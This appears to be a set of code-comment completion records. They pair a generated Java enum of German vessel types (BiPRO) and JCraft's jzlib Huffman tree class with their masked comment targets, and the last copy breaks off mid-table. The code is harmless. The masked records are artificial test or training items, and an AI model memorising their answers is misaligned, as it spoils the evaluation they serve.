* Fischereifahrzeug für Binnenschifffahrt (Als Fischereifahrzeuge werden alle (Wasser-)Fahrzeuge bezeichnet, die auf den Fang von Wassertieren in Binnengewässern spezialisiert sind.)
*
*/
@XmlEnumValue("08")
FISCHEREIFAHRZEUG_BINNENSCHIFFFAHRT("08"),
/**
* Fischereifahrzeug für Wattfahrt oder kleine Küstenfahrt (Als Fischereifahrzeuge werden alle (Wasser-)Fahrzeuge bezeichnet, die auf den Fang von Wassertieren in Watt- oder Küstenfahrt spezialisiert sind.)
*
*/
@XmlEnumValue("09")
FISCHEREIFAHRZEUG_WATTFAHRT("09"),
/**
* Spezialschiffe mit eigenen Antrieb (Hierunter werden alle nicht klassifizierbaren Schiffe spezieller Funktion und/oder Ausführung gezählt, welche einen eigenen Antrieb besitzen.)
*
*/
@XmlEnumValue("10")
SPEZIALSCHIFFE_EIGENER_ANTRIEB("10"),
/**
* Spezialschiffe ohne eigenen Antrieb (Hierunter werden alle nicht klassifizierbaren Schiffe spezieller Funktion und/oder Ausführung gezählt, welche keinen eigenen Antrieb besitzen.)
*
*/
@XmlEnumValue("11")
SPEZIALSCHIFFE_OHNE_EIGENEN_ANTRIEB("11"),
/**
* Segelboot oder -jacht (Ein Segelboot ist ein Sportboot, das in erster Linie durch Windkraft betrieben wird. Vom Segelschiff unterscheidet es sich durch seine geringere Größe.
* Der Begriff Segelyacht (auch Segeljacht) bezeichnet ein Segelschiff, das hauptsächlich für Freizeit- oder Sportaktivitäten verwendet wird oder gelegentlich auch repräsentativen Zwecken dient.)
*
*/
@XmlEnumValue("12")
SEGELBOOT_JACHT("12"),
/**
* Jetboot (Wassermotorräder, auch bekannt als Jet-Ski oder Jet-Boot, sind relativ kleine, aus glasfaserverstärktem Kunststoff bestehende Wasserfahrzeuge ohne Bordwand. Man unterscheidet Steher für eine Person von Sitzern, Modellen mit Sitzbank, für zwei bis vier Personen. Im Wettkampfbetrieb werden diese beiden Grundmodelle als Ski und Runabout bezeichnet.)
*
*/
@XmlEnumValue("13")
JETBOOT("13"),
/**
* Ruderboot (Ruderboote sind Wasserfahrzeuge, die mit Hilfe von Riemen oder Skulls bewegt werden.
*
*/
@XmlEnumValue("14")
RUDERBOOT("14"),
/**
* Surfbrett (Ein Surfbrett ist ein aus einem schwimmfähigen Material hergestelltes Brett, das als Sportgerät zum Wellenreiten oder zum Windsurfen dient.)
*
*/
@XmlEnumValue("15")
SURFBRETT("15");
private final String value;
STWasserfahrzeugtyp(String v) {
value = v;
}
public String value() {
return value;
}
public static STWasserfahrzeugtyp fromValue(String v) {
for (STWasserfahrzeugtyp c: STWasserfahrzeugtyp.values()) {
if (c.value.equals(v)) {
return c;
}
}
throw new IllegalArgumentException(v);
}
}
| 0xE282B0/test-bipro | norm426-jaxb-270-template/target/generated-sources/bipro/net/bipro/namespace/datentypen/STWasserfahrzeugtyp.java | 2,279 | /**
* <p>Java class for ST_Wasserfahrzeugtyp.
*
* <p>The following schema fragment specifies the expected content contained within this class.
* <p>
* <pre>
* <simpleType name="ST_Wasserfahrzeugtyp">
* <restriction base="{http://www.w3.org/2001/XMLSchema}string">
* <enumeration value="01"/>
* <enumeration value="02"/>
* <enumeration value="03"/>
* <enumeration value="04"/>
* <enumeration value="05"/>
* <enumeration value="06"/>
* <enumeration value="07"/>
* <enumeration value="08"/>
* <enumeration value="09"/>
* <enumeration value="10"/>
* <enumeration value="11"/>
* <enumeration value="12"/>
* <enumeration value="13"/>
* <enumeration value="14"/>
* <enumeration value="15"/>
* </restriction>
* </simpleType>
* </pre>
*
*/ | block_comment | nl |
package net.bipro.namespace.datentypen;
import javax.annotation.Generated;
import javax.xml.bind.annotation.XmlEnum;
import javax.xml.bind.annotation.XmlEnumValue;
import javax.xml.bind.annotation.XmlType;
/**
* <p>Java class for<SUF>*/
@XmlType(name = "ST_Wasserfahrzeugtyp")
@XmlEnum
@Generated(value = "com.sun.tools.xjc.Driver", date = "2021-04-19T05:38:04+02:00", comments = "JAXB RI v2.3.2")
public enum STWasserfahrzeugtyp {
/**
* Motorboote und Motorsegler (Ein Motorboot ist ein von einem oder mehreren Verbrennungsmotoren oder Elektromotoren angetriebenes Wasserfahrzeug.
* Motorsegelschiffe, meistens kurz als Motorsegler oder Fifty-Fifty bezeichnet, sind Yachten, die sowohl mit Segeln als auch unter Motor zufriedenstellend angetrieben werden.)
*
*/
@XmlEnumValue("01")
MOTORBOOTE_MOTORSEGLER("01"),
/**
* Motor-Wasserfahrzeug (Ein Motor-Wasserfahrzeug ist ein von einem oder mehreren Verbrennungsmotoren oder Elektromotoren angetriebenes Wasserfahrzeug, welches z.B. als Fahrgastschiffe und Fährboote der Binnen Schifffahrt, Wattfahrt und kleinen Küstenfahrt genutzt wird.)
*
*/
@XmlEnumValue("02")
MOTOR_WASSERFAHRZEUG("02"),
/**
* Dampf- oder Motorgüterschiff (Ein Motor-Wasserfahrzeug ist ein von einem oder mehreren Verbrennungsmotoren oder Elektromotoren angetriebenes Wasserfahrzeug, welches vorrangig zum Gütertransport genutzt wird. Nicht dazu gehören Tankschiffe.)
*
*/
@XmlEnumValue("03")
DAMPF_MOTORGUETERSCHIFF("03"),
/**
* Tankschiff (Ein Tankschiff, oder kurz Tanker, ist ein Schiff zum Transport von flüssigen Stoffen, wie Wasser, Rohöl, Ölen, Kraftstoffen, Flüssiggas oder petrochemischen Erzeugnissen.)
*
*/
@XmlEnumValue("04")
TANKSCHIFF("04"),
/**
* Schlepper (Schlepper, auch Schleppschiffe genannt,sind Schiffe mit leistungsstarker Antriebsanlage, die zum Ziehen und Schieben anderer Schiffe oder großer schwimmfähiger Objekte eingesetzt werden.)
*
*/
@XmlEnumValue("05")
SCHLEPPER("05"),
/**
* Schleppkahn (Ein Schleppkahn (oder auch Schute) ist ein Schiff ohne eigenen Antrieb, mit dem Frachtgut auf Flüssen und Kanälen transportiert werden.)
*
*/
@XmlEnumValue("06")
SCHLEPPERKAHN("06"),
/**
* Schubboot (Als Schubboot, umgangssprachlich auch Schuber / Schieber, bezeichnet man ein schiebendes Schiff in der Binnenschifffahrt, welches selbst keine Ladung befördert und ein oder mehrere Schubleichter schiebt.
* Die sog. Schubleichter gehören zu der gleichen Klasse/Ausprägung wie Schubboote.)
*
*/
@XmlEnumValue("07")
SCHUBBOOT("07"),
/**
* Fischereifahrzeug für Binnenschifffahrt (Als Fischereifahrzeuge werden alle (Wasser-)Fahrzeuge bezeichnet, die auf den Fang von Wassertieren in Binnengewässern spezialisiert sind.)
*
*/
@XmlEnumValue("08")
FISCHEREIFAHRZEUG_BINNENSCHIFFFAHRT("08"),
/**
* Fischereifahrzeug für Wattfahrt oder kleine Küstenfahrt (Als Fischereifahrzeuge werden alle (Wasser-)Fahrzeuge bezeichnet, die auf den Fang von Wassertieren in Watt- oder Küstenfahrt spezialisiert sind.)
*
*/
@XmlEnumValue("09")
FISCHEREIFAHRZEUG_WATTFAHRT("09"),
/**
* Spezialschiffe mit eigenen Antrieb (Hierunter werden alle nicht klassifizierbaren Schiffe spezieller Funktion und/oder Ausführung gezählt, welche einen eigenen Antrieb besitzen.)
*
*/
@XmlEnumValue("10")
SPEZIALSCHIFFE_EIGENER_ANTRIEB("10"),
/**
* Spezialschiffe ohne eigenen Antrieb (Hierunter werden alle nicht klassifizierbaren Schiffe spezieller Funktion und/oder Ausführung gezählt, welche keinen eigenen Antrieb besitzen.)
*
*/
@XmlEnumValue("11")
SPEZIALSCHIFFE_OHNE_EIGENEN_ANTRIEB("11"),
/**
* Segelboot oder -jacht (Ein Segelboot ist ein Sportboot, das in erster Linie durch Windkraft betrieben wird. Vom Segelschiff unterscheidet es sich durch seine geringere Größe.
* Der Begriff Segelyacht (auch Segeljacht) bezeichnet ein Segelschiff, das hauptsächlich für Freizeit- oder Sportaktivitäten verwendet wird oder gelegentlich auch repräsentativen Zwecken dient.)
*
*/
@XmlEnumValue("12")
SEGELBOOT_JACHT("12"),
/**
* Jetboot (Wassermotorräder, auch bekannt als Jet-Ski oder Jet-Boot, sind relativ kleine, aus glasfaserverstärktem Kunststoff bestehende Wasserfahrzeuge ohne Bordwand. Man unterscheidet Steher für eine Person von Sitzern, Modellen mit Sitzbank, für zwei bis vier Personen. Im Wettkampfbetrieb werden diese beiden Grundmodelle als Ski und Runabout bezeichnet.)
*
*/
@XmlEnumValue("13")
JETBOOT("13"),
/**
* Ruderboot (Ruderboote sind Wasserfahrzeuge, die mit Hilfe von Riemen oder Skulls bewegt werden.
*
*/
@XmlEnumValue("14")
RUDERBOOT("14"),
/**
* Surfbrett (Ein Surfbrett ist ein aus einem schwimmfähigen Material hergestelltes Brett, das als Sportgerät zum Wellenreiten oder zum Windsurfen dient.)
*
*/
@XmlEnumValue("15")
SURFBRETT("15");
private final String value;
STWasserfahrzeugtyp(String v) {
value = v;
}
public String value() {
return value;
}
public static STWasserfahrzeugtyp fromValue(String v) {
for (STWasserfahrzeugtyp c: STWasserfahrzeugtyp.values()) {
if (c.value.equals(v)) {
return c;
}
}
throw new IllegalArgumentException(v);
}
}
|
183866_45 | /* -*-mode:java; c-basic-offset:2; -*- */
/*
Copyright (c) 2000,2001,2002,2003 ymnk, JCraft,Inc. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in
the documentation and/or other materials provided with the distribution.
3. The names of the authors may not be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL JCRAFT,
INC. OR ANY CONTRIBUTORS TO THIS SOFTWARE BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
* This program is based on zlib-1.1.3, so all credit should go authors
* Jean-loup Gailly(jloup@gzip.org) and Mark Adler(madler@alumni.caltech.edu)
* and contributors of zlib.
*/
package com.jcraft.jsch.jzlib;
final class Tree{
static final private int MAX_BITS=15;
static final private int BL_CODES=19;
static final private int D_CODES=30;
static final private int LITERALS=256;
static final private int LENGTH_CODES=29;
static final private int L_CODES=(LITERALS+1+LENGTH_CODES);
static final private int HEAP_SIZE=(2*L_CODES+1);
// Bit length codes must not exceed MAX_BL_BITS bits
static final int MAX_BL_BITS=7;
// end of block literal code
static final int END_BLOCK=256;
// repeat previous bit length 3-6 times (2 bits of repeat count)
static final int REP_3_6=16;
// repeat a zero length 3-10 times (3 bits of repeat count)
static final int REPZ_3_10=17;
// repeat a zero length 11-138 times (7 bits of repeat count)
static final int REPZ_11_138=18;
// extra bits for each length code
static final int[] extra_lbits={
0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0
};
// extra bits for each distance code
static final int[] extra_dbits={
0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13
};
// extra bits for each bit length code
static final int[] extra_blbits={
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7
};
static final byte[] bl_order={
16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15};
// The lengths of the bit length codes are sent in order of decreasing
// probability, to avoid transmitting the lengths for unused bit
// length codes.
static final int Buf_size=8*2;
// see definition of array dist_code below
static final int DIST_CODE_LEN=512;
static final byte[] _dist_code = {
0, 1, 2, 3, 4, 4, 5, 5, 6, 6, 6, 6, 7, 7, 7, 7, 8, 8, 8, 8,
8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10,
10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12,
12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13,
13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14,
14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14,
14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14,
14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15,
15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15,
15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15,
15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 0, 0, 16, 17,
18, 18, 19, 19, 20, 20, 20, 20, 21, 21, 21, 21, 22, 22, 22, 22, 22, 22, 22, 22,
23, 23, 23, 23, 23, 23, 23, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,
24, 24, 24, 24, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25,
26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26,
26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 27, 27, 27, 27, 27, 27, 27, 27,
27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27,
27, 27, 27, 27, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28,
28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28,
28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28,
28, 28, 28, 28, 28, 28, 28, 28, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29,
29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29,
29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29,
29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29
};
static final byte[] _length_code={
0, 1, 2, 3, 4, 5, 6, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 12, 12,
13, 13, 13, 13, 14, 14, 14, 14, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16,
17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19,
19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20,
21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 22, 22, 22, 22,
22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 23, 23, 23, 23, 23, 23, 23, 23,
23, 23, 23, 23, 23, 23, 23, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,
24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,
25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25,
25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 26, 26, 26, 26, 26, 26, 26, 26,
26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26,
26, 26, 26, 26, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27,
27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 28
};
static final int[] base_length = {
0, 1, 2, 3, 4, 5, 6, 7, 8, 10, 12, 14, 16, 20, 24, 28, 32, 40, 48, 56,
64, 80, 96, 112, 128, 160, 192, 224, 0
};
static final int[] base_dist = {
0, 1, 2, 3, 4, 6, 8, 12, 16, 24,
32, 48, 64, 96, 128, 192, 256, 384, 512, 768,
1024, 1536, 2048, 3072, 4096, 6144, 8192, 12288, 16384, 24576
};
// Mapping from a distance to a distance code. dist is the distance - 1 and
// must not have side effects. _dist_code[256] and _dist_code[257] are never
// used.
static int d_code(int dist){
return ((dist) < 256 ? _dist_code[dist] : _dist_code[256+((dist)>>>7)]);
}
short[] dyn_tree; // the dynamic tree
int max_code; // largest code with non zero frequency
StaticTree stat_desc; // the corresponding static tree
// Compute the optimal bit lengths for a tree and update the total bit length
// for the current block.
// IN assertion: the fields freq and dad are set, heap[heap_max] and
// above are the tree nodes sorted by increasing frequency.
// OUT assertions: the field len is set to the optimal bit length, the
// array bl_count contains the frequencies for each bit length.
// The length opt_len is updated; static_len is also updated if stree is
// not null.
void gen_bitlen(Deflate s){
short[] tree = dyn_tree;
short[] stree = stat_desc.static_tree;
int[] extra = stat_desc.extra_bits;
int base = stat_desc.extra_base;
int max_length = stat_desc.max_length;
int h; // heap index
int n, m; // iterate over the tree elements
int bits; // bit length
int xbits; // extra bits
short f; // frequency
int overflow = 0; // number of elements with bit length too large
for (bits = 0; bits <= MAX_BITS; bits++) s.bl_count[bits] = 0;
// In a first pass, compute the optimal bit lengths (which may
// overflow in the case of the bit length tree).
tree[s.heap[s.heap_max]*2+1] = 0; // root of the heap
for(h=s.heap_max+1; h<HEAP_SIZE; h++){
n = s.heap[h];
bits = tree[tree[n*2+1]*2+1] + 1;
if (bits > max_length){ bits = max_length; overflow++; }
tree[n*2+1] = (short)bits;
// We overwrite tree[n*2+1] which is no longer needed
if (n > max_code) continue; // not a leaf node
s.bl_count[bits]++;
xbits = 0;
if (n >= base) xbits = extra[n-base];
f = tree[n*2];
s.opt_len += f * (bits + xbits);
if (stree!=null) s.static_len += f * (stree[n*2+1] + xbits);
}
if (overflow == 0) return;
// This happens for example on obj2 and pic of the Calgary corpus
// Find the first bit length which could increase:
do {
bits = max_length-1;
while(s.bl_count[bits]==0) bits--;
s.bl_count[bits]--; // move one leaf down the tree
s.bl_count[bits+1]+=2; // move one overflow item as its brother
s.bl_count[max_length]--;
// The brother of the overflow item also moves one step up,
// but this does not affect bl_count[max_length]
overflow -= 2;
}
while (overflow > 0);
for (bits = max_length; bits != 0; bits--) {
n = s.bl_count[bits];
while (n != 0) {
m = s.heap[--h];
if (m > max_code) continue;
if (tree[m*2+1] != bits) {
s.opt_len += ((long)bits - (long)tree[m*2+1])*(long)tree[m*2];
tree[m*2+1] = (short)bits;
}
n--;
}
}
}
// Construct one Huffman tree and assigns the code bit strings and lengths.
// Update the total bit length for the current block.
// IN assertion: the field freq is set for all tree elements.
// OUT assertions: the fields len and code are set to the optimal bit length
// and corresponding code. The length opt_len is updated; static_len is
// also updated if stree is not null. The field max_code is set.
void build_tree(Deflate s){
short[] tree=dyn_tree;
short[] stree=stat_desc.static_tree;
int elems=stat_desc.elems;
int n, m; // iterate over heap elements
int max_code=-1; // largest code with non zero frequency
int node; // new node being created
// Construct the initial heap, with least frequent element in
// heap[1]. The sons of heap[n] are heap[2*n] and heap[2*n+1].
// heap[0] is not used.
s.heap_len = 0;
s.heap_max = HEAP_SIZE;
for(n=0; n<elems; n++) {
if(tree[n*2] != 0) {
s.heap[++s.heap_len] = max_code = n;
s.depth[n] = 0;
}
else{
tree[n*2+1] = 0;
}
}
// The pkzip format requires that at least one distance code exists,
// and that at least one bit should be sent even if there is only one
// possible code. So to avoid special checks later on we force at least
// two codes of non zero frequency.
while (s.heap_len < 2) {
node = s.heap[++s.heap_len] = (max_code < 2 ? ++max_code : 0);
tree[node*2] = 1;
s.depth[node] = 0;
s.opt_len--; if (stree!=null) s.static_len -= stree[node*2+1];
// node is 0 or 1 so it does not have extra bits
}
this.max_code = max_code;
// The elements heap[heap_len/2+1 .. heap_len] are leaves of the tree,
// establish sub-heaps of increasing lengths:
for(n=s.heap_len/2;n>=1; n--)
s.pqdownheap(tree, n);
// Construct the Huffman tree by repeatedly combining the least two
// frequent nodes.
node=elems; // next internal node of the tree
do{
// n = node of least frequency
n=s.heap[1];
s.heap[1]=s.heap[s.heap_len--];
s.pqdownheap(tree, 1);
m=s.heap[1]; // m = node of next least frequency
s.heap[--s.heap_max] = n; // keep the nodes sorted by frequency
s.heap[--s.heap_max] = m;
// Create a new node father of n and m
tree[node*2] = (short)(tree[n*2] + tree[m*2]);
s.depth[node] = (byte)(Math.max(s.depth[n],s.depth[m])+1);
tree[n*2+1] = tree[m*2+1] = (short)node;
// and insert the new node in the heap
s.heap[1] = node++;
s.pqdownheap(tree, 1);
}
while(s.heap_len>=2);
s.heap[--s.heap_max] = s.heap[1];
// At this point, the fields freq and dad are set. We can now
// generate the bit lengths.
gen_bitlen(s);
// The field len is now set, we can generate the bit codes
gen_codes(tree, max_code, s.bl_count, s.next_code);
}
// Generate the codes for a given tree and bit counts (which need not be
// optimal).
// IN assertion: the array bl_count contains the bit length statistics for
// the given tree and the field len is set for all tree elements.
// OUT assertion: the field code is set for all tree elements of non
// zero code length.
private final static void gen_codes(
short[] tree, // the tree to decorate
int max_code, // largest code with non zero frequency
short[] bl_count, // number of codes at each bit length
short[] next_code){
short code = 0; // running code value
int bits; // bit index
int n; // code index
// The distribution counts are first used to generate the code values
// without bit reversal.
next_code[0]=0;
for (bits = 1; bits <= MAX_BITS; bits++) {
next_code[bits] = code = (short)((code + bl_count[bits-1]) << 1);
}
// Check that the bit counts in bl_count are consistent. The last code
// must be all ones.
//Assert (code + bl_count[MAX_BITS]-1 == (1<<MAX_BITS)-1,
// "inconsistent bit counts");
//Tracev((stderr,"\ngen_codes: max_code %d ", max_code));
for (n = 0; n <= max_code; n++) {
int len = tree[n*2+1];
if (len == 0) continue;
// Now reverse the bits
tree[n*2] = (short)(bi_reverse(next_code[len]++, len));
}
}
// Reverse the first len bits of a code, using straightforward code (a faster
// method would use a table)
// IN assertion: 1 <= len <= 15
private final static int bi_reverse(
int code, // the value to invert
int len // its bit length
){
int res = 0;
do{
res|=code&1;
code>>>=1;
res<<=1;
}
while(--len>0);
return res>>>1;
}
}
| 0xRustlang/keepass2android | src/java/JavaFileStorage/app/src/main/java/com/jcraft/jsch/jzlib/Tree.java | 6,522 | // iterate over heap elements | line_comment | nl | /* -*-mode:java; c-basic-offset:2; -*- */
/*
Copyright (c) 2000,2001,2002,2003 ymnk, JCraft,Inc. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in
the documentation and/or other materials provided with the distribution.
3. The names of the authors may not be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL JCRAFT,
INC. OR ANY CONTRIBUTORS TO THIS SOFTWARE BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
* This program is based on zlib-1.1.3, so all credit should go authors
* Jean-loup Gailly(jloup@gzip.org) and Mark Adler(madler@alumni.caltech.edu)
* and contributors of zlib.
*/
package com.jcraft.jsch.jzlib;
final class Tree{
static final private int MAX_BITS=15;
static final private int BL_CODES=19;
static final private int D_CODES=30;
static final private int LITERALS=256;
static final private int LENGTH_CODES=29;
static final private int L_CODES=(LITERALS+1+LENGTH_CODES);
static final private int HEAP_SIZE=(2*L_CODES+1);
// Bit length codes must not exceed MAX_BL_BITS bits
static final int MAX_BL_BITS=7;
// end of block literal code
static final int END_BLOCK=256;
// repeat previous bit length 3-6 times (2 bits of repeat count)
static final int REP_3_6=16;
// repeat a zero length 3-10 times (3 bits of repeat count)
static final int REPZ_3_10=17;
// repeat a zero length 11-138 times (7 bits of repeat count)
static final int REPZ_11_138=18;
// extra bits for each length code
static final int[] extra_lbits={
0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0
};
// extra bits for each distance code
static final int[] extra_dbits={
0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13
};
// extra bits for each bit length code
static final int[] extra_blbits={
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7
};
static final byte[] bl_order={
16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15};
// The lengths of the bit length codes are sent in order of decreasing
// probability, to avoid transmitting the lengths for unused bit
// length codes.
static final int Buf_size=8*2;
// see definition of array dist_code below
static final int DIST_CODE_LEN=512;
static final byte[] _dist_code = {
0, 1, 2, 3, 4, 4, 5, 5, 6, 6, 6, 6, 7, 7, 7, 7, 8, 8, 8, 8,
8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10,
10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12,
12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13,
13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14,
14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14,
14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14,
14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15,
15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15,
15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15,
15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 0, 0, 16, 17,
18, 18, 19, 19, 20, 20, 20, 20, 21, 21, 21, 21, 22, 22, 22, 22, 22, 22, 22, 22,
23, 23, 23, 23, 23, 23, 23, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,
24, 24, 24, 24, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25,
26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26,
26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 27, 27, 27, 27, 27, 27, 27, 27,
27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27,
27, 27, 27, 27, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28,
28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28,
28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28,
28, 28, 28, 28, 28, 28, 28, 28, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29,
29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29,
29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29,
29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29
};
static final byte[] _length_code={
0, 1, 2, 3, 4, 5, 6, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 12, 12,
